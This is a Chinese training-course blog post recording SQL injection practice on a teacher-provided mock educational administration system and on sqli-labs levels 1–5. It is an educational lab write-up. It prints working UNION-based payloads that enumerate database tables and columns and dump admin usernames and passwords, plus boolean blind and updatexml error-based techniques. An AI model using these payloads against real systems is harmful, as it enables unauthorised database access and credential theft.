一、模拟注入教务系统
- 用火狐访问教师搭建好的教务系统靶场
文章图片
- SQLi漏洞利用
- 判断是否为动态网站,动态网站即可根据不同情况动态变更的网站,例如上图中点击查看详情,每个查看详情链接返回的结果都不同,说明是根据某种标识在后端数据库进行查询后返回给前端的,该网站是动态网站。
- 猜测后台查询语句
- 通过火狐的开发者工具查看到,点击查看详情后,发起了一条get请求,且根据newsId进行查询。由此猜测sql语句:select * from xxx where newsId = xxx
文章图片
- 判断后台查询语句中接受的传入的 参数的类型(经验证为数字型),因为可进行数值计算
文章图片
- 利用order by判断当前查询结果的列数,可得知为5列
文章图片
文章图片
- 判断前端渲染的显示位,以便我们把想要得到的信息在前端显示,可得知显示位为前三列,注意此处union前的select语句返回结果应为空
文章图片
- 使用union查询想要的信息
- 查询库名
文章图片
- 查询表名
?newsId=-1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=‘double_fish’
文章图片
- 查询列名
?newsId=-1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=‘double_fish’ and table_name=‘t_admin’
文章图片
- 查询管理员账号密码
?newsId=-1 union select 1,username,password,4,5 from t_admin
文章图片
- 查询库名
- 通过火狐的开发者工具查看到,点击查看详情后,发起了一条get请求,且根据newsId进行查询。由此猜测sql语句:select * from xxx where newsId = xxx
- 判断是否为动态网站,动态网站即可根据不同情况动态变更的网站,例如上图中点击查看详情,每个查看详情链接返回的结果都不同,说明是根据某种标识在后端数据库进行查询后返回给前端的,该网站是动态网站。
- less-1
- 首先根据提示输入id作为参数
文章图片
【sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)】
文章图片
- 判断参数类型:数字型/字符型,经检验为字符型
文章图片
因为输入id=2-1返回的不是id=1的结果,而是id=2的结果,说明在字符型转数字型的时候,将id=2-1进行了强制类型转换,所以只剩下了2,查询结果即显示id=2的数据
- 判断闭合符,输入id=1’进行测试,发现报错,注意蓝框内为实际查询语句中的内容,而将1’和前一个闭合符分离开,发现多一个’,这就说明闭合符为’。
文章图片
- 利用order by判断查询结果列数,可得到为3列,注意浏览器在访问时将url地址进行了url编码,所以order by后面的#必须写为%23(#为注释符,可把后面的sql语句隔断)
文章图片
文章图片
- 判断显示位,可知显示位为第2,3列
文章图片
- 查询库名,表名,列名,数据,至此,获取用户数据目标达成
文章图片
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’%23
文章图片
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’%23
文章图片
?id=-1’ union select 1,group_concat(username),group_concat(password) from users%23
文章图片
- 首先根据提示输入id作为参数
- less-2
此处发现为数字型参数,故过程不再赘述,只获取数据库名作为示例
文章图片
文章图片
文章图片
文章图片
- less-3
- 判断参数类型,发现为字符型
文章图片
文章图片
- 判断闭合符,发现此处闭合符为’)
文章图片
- 获取列数和显示位
文章图片
文章图片
文章图片
- 获取数据库名称,后续步骤与less-1和less-2类似,不再赘述
文章图片
- 判断参数类型,发现为字符型
- less-4
本关也考察闭合符的判断,故过程不再赘述,只放关键截图,闭合符判断为")
文章图片
- less-5
方法1-布尔盲注:
判断参数类型不再赘述,经检验为字符型且闭合符为’
文章图片
利用where子句查询进行布尔盲注,可以看到,当and连接的两个条件中有一个为假即结果为空
文章图片
首先利用length函数和二分法逼近库名的位数,可得知为8位
文章图片
文章图片
然后利用substr和ascii函数和二分法逼近每一位的字母
文章图片
文章图片
得到第一位为ascii码值为115的字母,查表可得为s,其余位字母依次爆破为e c u r i t y
方法2-报错注入:
利用1=(updatexml(1,concat(0x3a,(SUB_QRY)),1))
获得库名
文章图片
获得表名
?id=1’ and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),1))%23
文章图片
推荐阅读
- JavaWeb|使用Servlet完成单表的CRUD
- 腾讯云COS对象存储攻防
- PendingIntent重定向(一种针对安卓系统和流行App的通用提权方法——BlackHat EU 2021议题详解 (下))
- web buuctf [HCTF 2018]admin1
- 安全|环游密码世界之其他密码技术
- 密码学|密码学(概论)
- 安全|数字签名
- SQL注入|SQL注入漏洞详解(一)
- 网络安全|利用SQL注入漏洞登录后台